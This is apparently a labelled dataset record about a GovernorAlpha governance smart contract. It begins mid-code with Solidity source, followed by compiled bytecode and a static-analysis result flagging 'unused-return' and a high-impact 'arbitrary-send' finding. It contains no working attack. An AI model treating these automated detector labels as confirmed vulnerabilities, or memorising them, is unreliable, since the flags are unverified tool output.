(block.number <= proposal.startBlock) { return ProposalState.Pending; } else if (block.number <= proposal.endBlock) { return ProposalState.Active; } else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes) { return ProposalState.Defeated; } else if (proposal.eta == 0) { return ProposalState.Succeeded; } else if (proposal.executed) { return ProposalState.Executed; } else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) { return ProposalState.Expired; } else { return ProposalState.Queued; } } function castVote(uint proposalId, bool support) public { return _castVote(msg.sender, proposalId, support); } function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature"); return _castVote(signatory, proposalId, support); } function _castVote(address voter, uint proposalId, bool support) internal { require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed"); Proposal storage proposal = proposals[proposalId]; Receipt storage receipt = proposal.receipts[voter]; require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted"); uint96 votes = token.getPriorVotes(voter, proposal.startBlock); if (support) { proposal.forVotes = add256(proposal.forVotes, votes); } else { proposal.againstVotes = add256(proposal.againstVotes, votes); } receipt.hasVoted = true; receipt.support = support; receipt.votes = votes; emit VoteCast(voter, proposalId, support, votes); } function __acceptAdmin() public { require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian"); timelock.acceptAdmin(); } function __abdicate() public { require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian"); guardian = address(0); } function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public { require(msg.sender == guardian, "GovernorAlpha::__queueSetTimelockPendingAdmin: sender must be gov guardian"); timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta); } function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public { require(msg.sender == guardian, "GovernorAlpha::__executeSetTimelockPendingAdmin: sender must be gov guardian"); timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta); } function add256(uint256 a, uint256 b) internal pure returns (uint) { uint c = a + b; require(c >= a, "addition overflow"); return c; } function sub256(uint256 a, uint256 b) internal pure returns (uint) { require(b <= a, "subtraction underflow"); return a - b; } function getChainId() internal pure returns (uint) { uint chainId; assembly { chainId := chainid() } return chainId; } } interface TimelockInterface { function delay() external view returns (uint); function GRACE_PERIOD() external view returns (uint); function acceptAdmin() external; function queuedTransactions(bytes32 hash) external view returns (bool); function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32); function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external; function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory); } interface CompInterface { function getPriorVotes(address account, uint blockNumber) external view returns (uint96); }
0x6080604052600436106101b75760003560e01c80634634c61f116100ec578063da35c6641161008a578063deaaa7cc11610064578063deaaa7cc146104a9578063e23a9a52146104be578063fc0c546a146104eb578063fe0d94c114610500576101b7565b8063da35c66414610454578063da95691a14610469578063ddf0b00914610489576101b7565b806391500671116100c657806391500671146103e8578063b58131b014610408578063b9a619611461041d578063d33219b414610432576101b7565b80634634c61f1461039e578063760fbc13146103be5780637bdbe4d0146103d3576101b7565b806321f43e42116101595780633932abb1116101335780633932abb11461031a5780633e4f49e61461032f57806340e58ee51461035c578063452a93201461037c576101b7565b806321f43e42146102b557806324bc1a64146102d5578063328dd982146102ea576101b7565b806315373e3d1161019557806315373e3d1461023e57806317977c61146102605780631f2088e81461028057806320606b70146102a0576101b7565b8063013cf08b146101bc57806302a251a3146101fa57806306fdde031461021c575b600080fd5b3480156101c857600080fd5b506101dc6101d7366004612695565b610513565b6040516101f1999897969594939291906138c2565b60405180910390f35b34801561020657600080fd5b5061020f61056d565b6040516101f191906135df565b34801561022857600080fd5b50610231610573565b6040516101f1919061369b565b34801561024a57600080fd5b5061025e6102593660046126e3565b610601565b005b34801561026c57600080fd5b5061020f61027b366004612420565b610610565b34801561028c57600080fd5b5061025e61029b366004612446565b610622565b3480156102ac57600080fd5b5061020f6106ba565b3480156102c157600080fd5b5061025e6102d03660046124fe565b6106d1565b3480156102e157600080fd5b5061020f6107b0565b3480156102f657600080fd5b5061030a610305366004612695565b6107b6565b6040516101f19493929190613592565b34801561032657600080fd5b5061020f610a45565b34801561033b57600080fd5b5061034f61034a366004612695565b610a4b565b6040516101f1919061368d565b34801561036857600080fd5b5061025e610377366004612695565b610bd2565b34801561038857600080fd5b50610391610e36565b6040516101f1919061343c565b3480156103aa57600080fd5b5061025e6103b9366004612713565b610e45565b3480156103ca57600080fd5b5061025e610fa2565b3480156103df57600080fd5b5061020f610fde565b3480156103f457600080fd5b5061025e6104033660046124fe565b610fe3565b34801561041457600080fd5b5061020f6110b9565b34801561042957600080fd5b5061025e6110bf565b34801561043e57600080fd5b50610447611146565b6040516101f1919061367f565b34801561046057600080fd5b5061020f611155565b34801561047557600080fd5b5061020f610484366004612538565b61115b565b34801561049557600080fd5b5061025e6104a4366004612695565b611576565b3480156104b557600080fd5b5061020f6117e5565b3480156104ca57600080fd5b506104de6104d93660046126b3565b6117f1565b6040516101f1919061380c565b3480156104f757600080fd5b50610447611860565b61025e61050e366004612695565b61186f565b60096020819052600091825260409091208054600182015460028301546007840154600885015495850154600a860154600b9096015494966001600160a01b03909416959294919392909160ff8082169161010090041689565b60035481565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105f95780601f106105ce576101008083540402835291602001916105f9565b820191906000526020600020905b8154815290600101906020018083116105dc57829003601f168201915b505050505081565b61060c338383611a34565b5050565b600a6020526000908152604090205481565b60085460ff161561064e5760405162461bcd60e51b81526004016106459061375c565b60405180910390fd5b600480546001600160a01b03808b166001600160a01b031992831617909255600580548a8416908316179055600680549289169290911691909117905561069760008686611db3565b5060019283556002919091556003556008805460ff191690911790555050505050565b6040516106c690613426565b604051809103902081565b6006546001600160a01b031633146106fb5760405162461bcd60e51b8152600401610645906136dc565b6004546040516001600160a01b0390911690630825f38f90829060009061072690879060200161343c565b604051602081830303815290604052856040518563ffffffff1660e01b81526004016107559493929190613465565b600060405180830381600087803b15801561076f57600080fd5b505af1158015610783573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526107ab9190810190612660565b505050565b60015481565b6060806060806000600960008781526020019081526020016000209050806003018160040182600501836006018380548060200260200160405190810160405280929190818152602001828054801561083857602002820191906000526020600020905b81546001600160a01b0316815260019091019060200180831161081a575b505050505093508280548060200260200160405190810160405280929190818152602001828054801561088a57602002820191906000526020600020905b815481526020019060010190808311610876575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b8282101561095d5760008481526020908190208301805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156109495780601f1061091e57610100808354040283529160200191610949565b820191906000526020600020905b81548152906001019060200180831161092c57829003601f168201915b5050505050815260200190600101906108b2565b50505050915080805480602002602001604051908101604052809291908181526020016000905b82821015610a2f5760008481526020908190208301805460408051601f6002600019610100600187161502019094169390930492830185900485028101850190915281815292830182828015610a1b5780601f106109f057610100808354040283529160200191610a1b565b820191906000526020600020905b8154815290600101906020018083116109fe57829003601f168201915b505050505081526020019060010190610984565b5050505090509450945094509450509193509193565b60015b90565b60008160075410158015610a5f5750600082115b610a7b5760405162461bcd60e51b8152600401610645906136ec565b6000828152600960205260409020600b81015460ff1615610aa0576002915050610bcd565b80600701544311610ab5576000915050610bcd565b80600801544311610aca576001915050610bcd565b80600a01548160090154111580610ae657506001548160090154105b15610af5576003915050610bcd565b6002810154610b08576004915050610bcd565b600b810154610100900460ff1615610b24576007915050610bcd565b610bb78160020154600460009054906101000a90046001600160a01b03166001600160a01b031663c1a287e26040518163ffffffff1660e01b815260040160206040518083038186803b158015610b7a57600080fd5b505afa158015610b8e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610bb29190810190612642565b611bfd565b4210610bc7576006915050610bcd565b60059150505b919050565b6000610bdd82610a4b565b90506007816007811115610bed57fe5b1415610c0b5760405162461bcd60e51b8152600401610645906137cc565b60008281526009602052604090206006546001600160a01b0316331480610cd157506002546005546001838101546001600160a01b039283169263782d6fe192911690610c59904390611c29565b6040518363ffffffff1660e01b8152600401610c769291906134b4565b60206040518083038186803b158015610c8e57600080fd5b505afa158015610ca2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610cc6919081019061277b565b6001600160601b0316105b610ced5760405162461bcd60e51b81526004016106459061376c565b600b8101805460ff1916600117905560005b6003820154811015610df9576004546003830180546001600160a01b039092169163591fcdfe919084908110610d3157fe5b6000918252602090912001546004850180546001600160a01b039092169185908110610d5957fe5b9060005260206000200154856005018581548110610d7357fe5b90600052602060002001866006018681548110610d8c57fe5b9060005260206000200187600201546040518663ffffffff1660e01b8152600401610dbb959493929190613551565b600060405180830381600087803b158015610dd557600080fd5b505af1158015610de9573d6000803e3d6000fd5b505060019092019150610cff9050565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c83604051610e2991906135df565b60405180910390a1505050565b6006546001600160a01b031681565b6000604051610e5390613426565b60405180910390206000604051610e6a91906133e9565b6040518091039020610e7a611c51565b30604051602001610e8e94939291906135ed565b6040516020818303038152906040528051906020012090506000604051610eb490613431565b604051908190038120610ecd9189908990602001613622565b60405160208183030381529060405280519060200120905060008282604051602001610efa9291906133f5565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610f37949392919061364a565b6020604051602081039080840390855afa158015610f59573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610f8c5760405162461bcd60e51b8152600401610645906137ac565b610f97818a8a611a34565b505050505050505050565b6006546001600160a01b03163314610fcc5760405162461bcd60e51b8152600401610645906137fc565b600680546001600160a01b0319169055565b600a90565b6006546001600160a01b0316331461100d5760405162461bcd60e51b81526004016106459061371c565b6004546040516001600160a01b0390911690633a66f90190829060009061103890879060200161343c565b604051602081830303815290604052856040518563ffffffff1660e01b81526004016110679493929190613465565b602060405180830381600087803b15801561108157600080fd5b505af1158015611095573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506107ab9190810190612642565b60025481565b6006546001600160a01b031633146110e95760405162461bcd60e51b8152600401610645906136ac565b6004805460408051630e18b68160e01b815290516001600160a01b0390921692630e18b68192828201926000929082900301818387803b15801561112c57600080fd5b505af1158015611140573d6000803e3d6000fd5b50505050565b6004546001600160a01b031681565b60075481565b600254600554600091906001600160a01b031663782d6fe13361117f436001611c29565b6040518363ffffffff1660e01b815260040161119c92919061344a565b60206040518083038186803b1580156111b457600080fd5b505afa1580156111c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506111ec919081019061277b565b6001600160601b0316116112125760405162461bcd60e51b81526004016106459061379c565b84518651148015611224575083518651145b8015611231575082518651145b61124d5760405162461bcd60e51b81526004016106459061374c565b855161126b5760405162461bcd60e51b81526004016106459061378c565b611273610fde565b865111156112935760405162461bcd60e51b81526004016106459061372c565b336000908152600a602052604090205480156113105760006112b482610a4b565b905060018160078111156112c457fe5b14156112e25760405162461bcd60e51b8152600401610645906137bc565b60008160078111156112f057fe5b141561130e5760405162461bcd60e51b81526004016106459061370c565b505b600061131e43610bb2610a45565b9050600061132e82600354611bfd565b6007805460010190559050611341611e31565b604051806101a001604052806007548152602001336001600160a01b03168152602001600081526020018b81526020018a815260200189815260200188815260200184815260200183815260200160008152602001600081526020016000151581526020016000151581525090508060096000836000015181526020019081526020016000206000820151816000015560208201518160010160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550604082015181600201556060820151816003019080519060200190611424929190611ea6565b5060808201518051611440916004840191602090910190611f07565b5060a0820151805161145c916005840191602090910190611f42565b5060c08201518051611478916006840191602090910190611f9b565b5060e082015181600701556101008201518160080155610120820151816009015561014082015181600a015561016082015181600b0160006101000a81548160ff02191690831515021790555061018082015181600b0160016101000a81548160ff0219169083151502179055509050508060000151600a600083602001516001600160a01b03166001600160a01b03168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000151338c8c8c8c89898e60405161155e9998979695949392919061381a565b60405180910390a15193505050505b95945050505050565b600461158182610a4b565b600781111561158c57fe5b146115a95760405162461bcd60e51b8152600401610645906136bc565b6000818152600960209081526040808320600480548351630d48571f60e31b815293519295946116039442946001600160a01b0390931693636a42b8f8938282019392909190829003018186803b158015610b7a57600080fd5b905060005b60038301548110156117ab576117a383600301828154811061162657fe5b6000918252602090912001546004850180546001600160a01b03909216918490811061164e57fe5b906000526020600020015485600501848154811061166857fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156116f65780601f106116cb576101008083540402835291602001916116f6565b820191906000526020600020905b8154815290600101906020018083116116d957829003601f168201915b505050505086600601858154811061170a57fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156117985780601f1061176d57610100808354040283529160200191611798565b820191906000526020600020905b81548152906001019060200180831161177b57829003601f168201915b505050505086611c55565b600101611608565b50600282018190556040517f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda289290610e299085908490613948565b6040516106c690613431565b6117f9611ff4565b5060008281526009602090815260408083206001600160a01b0385168452600c018252918290208251606081018452905460ff80821615158352610100820416151592820192909252620100009091046001600160601b0316918101919091525b92915050565b6005546001600160a01b031681565b600561187a82610a4b565b600781111561188557fe5b146118a25760405162461bcd60e51b8152600401610645906136cc565b6000818152600960205260408120600b8101805461ff001916610100179055905b60038201548110156119f8576004805490830180546001600160a01b0390921691630825f38f9190849081106118f557fe5b906000526020600020015484600301848154811061190f57fe5b6000918252602090912001546004860180546001600160a01b03909216918690811061193757fe5b906000526020600020015486600501868154811061195157fe5b9060005260206000200187600601878154811061196a57fe5b9060005260206000200188600201546040518763ffffffff1660e01b8152600401611999959493929190613551565b6000604051808303818588803b1580156119b257600080fd5b505af11580156119c6573d6000803e3d6000fd5b50505050506040513d6000823e601f3d908101601f191682016040526119ef9190810190612660565b506001016118c3565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f82604051611a2891906135df565b60405180910390a15050565b6001611a3f83610a4b565b6007811115611a4a57fe5b14611a675760405162461bcd60e51b8152600401610645906137dc565b60008281526009602090815260408083206001600160a01b0387168452600c8101909252909120805460ff1615611ab05760405162461bcd60e51b8152600401610645906136fc565b600554600783015460405163782d6fe160e01b81526000926001600160a01b03169163782d6fe191611ae6918a916004016134b4565b60206040518083038186803b158015611afe57600080fd5b505afa158015611b12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611b36919081019061277b565b90508315611b5f57611b558360090154826001600160601b0316611bfd565b6009840155611b7c565b611b7683600a0154826001600160601b0316611bfd565b600a8401555b8154600160ff199091161761ff00191661010085151502176dffffffffffffffffffffffff00001916620100006001600160601b038316021782556040517f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c4690611bed9088908890889086906134c2565b60405180910390a1505050505050565b600082820183811015611c225760405162461bcd60e51b81526004016106459061373c565b9392505050565b600082821115611c4b5760405162461bcd60e51b8152600401610645906137ec565b50900390565b4690565b6004546040516001600160a01b039091169063f2b0653790611c8390889088908890889088906020016134f7565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b8152600401611cb591906135df565b60206040518083038186803b158015611ccd57600080fd5b505afa158015611ce1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611d059190810190612624565b15611d225760405162461bcd60e51b81526004016106459061377c565b60048054604051633a66f90160e01b81526001600160a01b0390911691633a66f90191611d599189918991899189918991016134f7565b602060405180830381600087803b158015611d7357600080fd5b505af1158015611d87573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611dab9190810190612642565b505050505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611df45782800160ff19823516178555611e21565b82800160010185558215611e21579182015b82811115611e21578235825591602001919060010190611e06565b50611e2d929150612014565b5090565b604051806101a001604052806000815260200160006001600160a01b031681526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b828054828255906000526020600020908101928215611efb579160200282015b82811115611efb57825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190611ec6565b50611e2d92915061202e565b828054828255906000526020600020908101928215611e21579160200282015b82811115611e21578251825591602001919060010190611f27565b828054828255906000526020600020908101928215611f8f579160200282015b82811115611f8f5782518051611f7f918491602090910190612052565b5091602001919060010190611f62565b50611e2d9291506120bf565b828054828255906000526020600020908101928215611fe8579160200282015b82811115611fe85782518051611fd8918491602090910190612052565b5091602001919060010190611fbb565b50611e2d9291506120e2565b604080516060810182526000808252602082018190529181019190915290565b610a4891905b80821115611e2d576000815560010161201a565b610a4891905b80821115611e2d5780546001600160a01b0319168155600101612034565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061209357805160ff1916838001178555611e21565b82800160010185558215611e215791820182811115611e21578251825591602001919060010190611f27565b610a4891905b80821115611e2d5760006120d98282612105565b506001016120c5565b610a4891905b80821115611e2d5760006120fc8282612105565b506001016120e8565b50805460018160011615610100020316600290046000825580601f1061212b5750612149565b601f0160209004906000526020600020908101906121499190612014565b50565b803561185a81613a9c565b600082601f83011261216857600080fd5b813561217b6121768261397d565b613956565b915081818352602084019350602081019050838560208402820111156121a057600080fd5b60005b838110156121cc57816121b6888261214c565b84525060209283019291909101906001016121a3565b5050505092915050565b600082601f8301126121e757600080fd5b81356121f56121768261397d565b81815260209384019390925082018360005b838110156121cc578135860161221d888261232c565b8452506020928301929190910190600101612207565b600082601f83011261224457600080fd5b81356122526121768261397d565b81815260209384019390925082018360005b838110156121cc578135860161227a888261232c565b8452506020928301929190910190600101612264565b600082601f8301126122a157600080fd5b81356122af6121768261397d565b915081818352602084019350602081019050838560208402820111156122d457600080fd5b60005b838110156121cc57816122ea8882612316565b84525060209283019291909101906001016122d7565b803561185a81613ab0565b805161185a81613ab0565b803561185a81613ab9565b805161185a81613ab9565b600082601f83011261233d57600080fd5b813561234b6121768261399e565b9150808252602083016020830185838301111561236757600080fd5b612372838284613a50565b50505092915050565b600082601f83011261238c57600080fd5b815161239a6121768261399e565b915080825260208301602083018583830111156123b657600080fd5b612372838284613a5c565b60008083601f8401126123d357600080fd5b50813567ffffffffffffffff8111156123eb57600080fd5b60208301915083600182028301111561240357600080fd5b9250929050565b803561185a81613ac2565b805161185a81613acb565b60006020828403121561243257600080fd5b600061243e848461214c565b949350505050565b60008060008060008060008060e0898b03121561246257600080fd5b600061246e8b8b61214c565b985050602061247f8b828c0161214c565b97505060406124908b828c0161214c565b965050606089013567ffffffffffffffff8111156124ad57600080fd5b6124b98b828c016123c1565b955095505060806124cc8b828c01612316565b93505060a06124dd8b828c01612316565b92505060c06124ee8b828c01612316565b9150509295985092959890939650565b6000806040838503121561251157600080fd5b600061251d858561214c565b925050602061252e85828601612316565b9150509250929050565b600080600080600060a0868803121561255057600080fd5b853567ffffffffffffffff81111561256757600080fd5b61257388828901612157565b955050602086013567ffffffffffffffff81111561259057600080fd5b61259c88828901612290565b945050604086013567ffffffffffffffff8111156125b957600080fd5b6125c588828901612233565b935050606086013567ffffffffffffffff8111156125e257600080fd5b6125ee888289016121d6565b925050608086013567ffffffffffffffff81111561260b57600080fd5b6126178882890161232c565b9150509295509295909350565b60006020828403121561263657600080fd5b600061243e848461230b565b60006020828403121561265457600080fd5b600061243e8484612321565b60006020828403121561267257600080fd5b815167ffffffffffffffff81111561268957600080fd5b61243e8482850161237b565b6000602082840312156126a757600080fd5b600061243e8484612316565b600080604083850312156126c657600080fd5b60006126d28585612316565b925050602061252e8582860161214c565b600080604083850312156126f657600080fd5b60006127028585612316565b925050602061252e85828601612300565b600080600080600060a0868803121561272b57600080fd5b60006127378888612316565b955050602061274888828901612300565b94505060406127598882890161240a565b935050606061276a88828901612316565b925050608061261788828901612316565b60006020828403121561278d57600080fd5b600061243e8484612415565b60006127a583836127d4565b505060200190565b6000611c228383612976565b60006127a5838361295c565b6127ce81613a1d565b82525050565b6127ce816139e5565b60006127e8826139d8565b6127f281856139dc565b93506127fd836139c6565b8060005b8381101561282b5781516128158882612799565b9750612820836139c6565b925050600101612801565b509495945050505050565b6000612841826139d8565b61284b81856139dc565b93508360208202850161285d856139c6565b8060005b85811015612897578484038952815161287a85826127ad565b9450612885836139c6565b60209a909a0199925050600101612861565b5091979650505050505050565b60006128af826139d8565b6128b981856139dc565b9350836020820285016128cb856139c6565b8060005b8581101561289757848403895281516128e885826127ad565b94506128f3836139c6565b60209a909a01999250506001016128cf565b6000612910826139d8565b61291a81856139dc565b9350612925836139c6565b8060005b8381101561282b57815161293d88826127b9565b9750612948836139c6565b925050600101612929565b6127ce816139f0565b6127ce81610a48565b6127ce61297182610a48565b610a48565b6000612981826139d8565b61298b81856139dc565b935061299b818560208601613a5c565b6129a481613a88565b9093019392505050565b6000815460018116600081146129cb57600181146129ee57612a2d565b607f60028304166129dc8187610bcd565b60ff1984168152955085019250612a2d565b600282046129fc8187610bcd565b9550612a07856139cc565b60005b82811015612a2657815488820152600190910190602001612a0a565b5050850192505b505092915050565b600081546001811660008114612a525760018114612a7857612a2d565b607f6002830416612a6381876139dc565b60ff1984168152955050602085019250612a2d565b60028204612a8681876139dc565b9550612a91856139cc565b60005b82811015612ab057815488820152600190910190602001612a94565b9096019695505050505050565b6127ce81613a24565b6127ce81613a2f565b6127ce81613a3a565b6000612ae56039836139dc565b7f476f7665726e6f72416c7068613a3a5f5f61636365707441646d696e3a20736581527f6e646572206d75737420626520676f7620677561726469616e00000000000000602082015260400192915050565b6000612b446044836139dc565b7f476f7665726e6f72416c7068613a3a71756575653a2070726f706f73616c206381527f616e206f6e6c79206265207175657565642069662069742069732073756363656020820152631959195960e21b604082015260600192915050565b6000612bb06045836139dc565b7f476f7665726e6f72416c7068613a3a657865637574653a2070726f706f73616c81527f2063616e206f6e6c7920626520657865637574656420696620697420697320716020820152641d595d595960da1b604082015260600192915050565b6000612c1d600283610bcd565b61190160f01b815260020192915050565b6000612c3b604c836139dc565b7f476f7665726e6f72416c7068613a3a5f5f6578656375746553657454696d656c81527f6f636b50656e64696e6741646d696e3a2073656e646572206d7573742062652060208201526b33b7bb1033bab0b93234b0b760a11b604082015260600192915050565b6000612caf6018836139dc565b7f73657450656e64696e6741646d696e2861646472657373290000000000000000815260200192915050565b6000612ce86029836139dc565b7f476f7665726e6f72416c7068613a3a73746174653a20696e76616c69642070728152681bdc1bdcd85b081a5960ba1b602082015260400192915050565b6000612d33602d836139dc565b7f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f7465722081526c185b1c9958591e481d9bdd1959609a1b602082015260400192915050565b6000612d826059836139dc565b7f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766581527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208201527f20616c72656164792070656e64696e672070726f706f73616c00000000000000604082015260600192915050565b6000612e07604a836139dc565b7f476f7665726e6f72416c7068613a3a5f5f717565756553657454696d656c6f6381527f6b50656e64696e6741646d696e3a2073656e646572206d75737420626520676f6020820152693b1033bab0b93234b0b760b11b604082015260600192915050565b6000612e796028836139dc565b7f476f7665726e6f72416c7068613a3a70726f706f73653a20746f6f206d616e7981526720616374696f6e7360c01b602082015260400192915050565b6000612ec36011836139dc565b706164646974696f6e206f766572666c6f7760781b815260200192915050565b6000612ef0604383610bcd565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201526263742960e81b604082015260430192915050565b6000612f5b602783610bcd565b7f42616c6c6f742875696e743235362070726f706f73616c49642c626f6f6c20738152667570706f72742960c81b602082015260270192915050565b6000612fa46044836139dc565b7f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73616c81527f2066756e6374696f6e20696e666f726d6174696f6e206172697479206d69736d6020820152630c2e8c6d60e31b604082015260600192915050565b6000613010600b836139dc565b6a1a5b9a5d1a585b1a5e995960aa1b815260200192915050565b6000613037602f836139dc565b7f476f7665726e6f72416c7068613a3a63616e63656c3a2070726f706f7365722081526e18589bdd99481d1a1c995cda1bdb19608a1b602082015260400192915050565b60006130886044836139dc565b7f476f7665726e6f72416c7068613a3a5f71756575654f725265766572743a207081527f726f706f73616c20616374696f6e20616c7265616479207175657565642061746020820152632065746160e01b604082015260600192915050565b60006130f4602c836139dc565b7f476f7665726e6f72416c7068613a3a70726f706f73653a206d7573742070726f81526b7669646520616374696f6e7360a01b602082015260400192915050565b6000613142603f836139dc565b7f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73657281527f20766f7465732062656c6f772070726f706f73616c207468726573686f6c6400602082015260400192915050565b60006131a1602f836139dc565b7f476f7665726e6f72416c7068613a3a63617374566f746542795369673a20696e81526e76616c6964207369676e617475726560881b602082015260400192915050565b60006131f26058836139dc565b7f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766581527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208201527f20616c7265616479206163746976652070726f706f73616c0000000000000000604082015260600192915050565b60006132776036836139dc565b7f476f7665726e6f72416c7068613a3a63616e63656c3a2063616e6e6f742063618152751b98d95b08195e1958dd5d1959081c1c9bdc1bdcd85b60521b602082015260400192915050565b60006132cf602a836139dc565b7f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f74696e67815269081a5cc818db1bdcd95960b21b602082015260400192915050565b600061331b6015836139dc565b747375627472616374696f6e20756e646572666c6f7760581b815260200192915050565b600061334c6036836139dc565b7f476f7665726e6f72416c7068613a3a5f5f61626469636174653a2073656e6465815275391036bab9ba1031329033b7bb1033bab0b93234b0b760511b602082015260400192915050565b805160608301906133a88482612953565b5060208201516133bb6020850182612953565b50604082015161114060408501826133e0565b6127ce81613a0b565b6127ce81613a45565b6127ce81613a11565b6000611c2282846129ae565b600061340082612c10565b915061340c8285612965565b60208201915061341c8284612965565b5060200192915050565b600061185a82612ee3565b600061185a82612f4e565b6020810161185a82846127d4565b6040810161345882856127c5565b611c22602083018461295c565b60a0810161347382876127d4565b6134806020830186612acf565b818103604083015261349181612ca2565b905081810360608301526134a58185612976565b905061156d608083018461295c565b6040810161345882856127d4565b608081016134d082876127d4565b6134dd602083018661295c565b6134ea6040830185612953565b61156d60608301846133d7565b60a0810161350582886127d4565b613512602083018761295c565b81810360408301526135248186612976565b905081810360608301526135388185612976565b9050613547608083018461295c565b9695505050505050565b60a0810161355f82886127d4565b61356c602083018761295c565b818103604083015261357e8186612a35565b905081810360608301526135388185612a35565b608080825281016135a381876127dd565b905081810360208301526135b78186612905565b905081810360408301526135cb81856128a4565b905081810360608301526135478184612836565b6020810161185a828461295c565b608081016135fb828761295c565b613608602083018661295c565b613615604083018561295c565b61156d60608301846127d4565b60608101613630828661295c565b61363d602083018561295c565b61243e6040830184612953565b60808101613658828761295c565b61366560208301866133ce565b613672604083018561295c565b61156d606083018461295c565b6020810161185a8284612abd565b6020810161185a8284612ac6565b60208082528101611c228184612976565b6020808252810161185a81612ad8565b6020808252810161185a81612b37565b6020808252810161185a81612ba3565b6020808252810161185a81612c2e565b6020808252810161185a81612cdb565b6020808252810161185a81612d26565b6020808252810161185a81612d75565b6020808252810161185a81612dfa565b6020808252810161185a81612e6c565b6020808252810161185a81612eb6565b6020808252810161185a81612f97565b6020808252810161185a81613003565b6020808252810161185a8161302a565b6020808252810161185a8161307b565b6020808252810161185a816130e7565b6020808252810161185a81613135565b6020808252810161185a81613194565b6020808252810161185a816131e5565b6020808252810161185a8161326a565b6020808252810161185a816132c2565b6020808252810161185a8161330e565b6020808252810161185a8161333f565b6060810161185a8284613397565b6101208101613829828c61295c565b613836602083018b6127c5565b8181036040830152613848818a6127dd565b9050818103606083015261385c8189612905565b9050818103608083015261387081886128a4565b905081810360a08301526138848187612836565b905061389360c083018661295c565b6138a060e083018561295c565b8181036101008301526138b38184612976565b9b9a5050505050505050505050565b61012081016138d1828c61295c565b6138de602083018b6127d4565b6138eb604083018a61295c565b6138f8606083018961295c565b613905608083018861295c565b61391260a083018761295c565b61391f60c083018661295c565b61392c60e0830185612953565b61393a610100830184612953565b9a9950505050505050505050565b60408101613458828561295c565b60405181810167ffffffffffffffff8111828210171561397557600080fd5b604052919050565b600067ffffffffffffffff82111561399457600080fd5b5060209081020190565b600067ffffffffffffffff8211156139b557600080fd5b506020601f91909101601f19160190565b60200190565b60009081526020902090565b5190565b90815260200190565b600061185a826139ff565b151590565b80610bcd81613a92565b6001600160a01b031690565b60ff1690565b6001600160601b031690565b600061185a825b600061185a826139e5565b600061185a826139f5565b600061185a82610a48565b600061185a82613a11565b82818337506000910152565b60005b83811015613a77578181015183820152602001613a5f565b838111156111405750506000910152565b601f01601f191690565b6008811061214957fe5b613aa5816139e5565b811461214957600080fd5b613aa5816139f0565b613aa581610a48565b613aa581613a0b565b613aa581613a1156fea365627a7a72315820d94b27f8c28026efde6acc6707df000cd52a702facb64f65cdc097e4f832965e6c6578706572696d656e74616cf564736f6c63430005110040
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,868
0xe056a7c9af746bc05c2e2ffd55f51bd88ba425c0
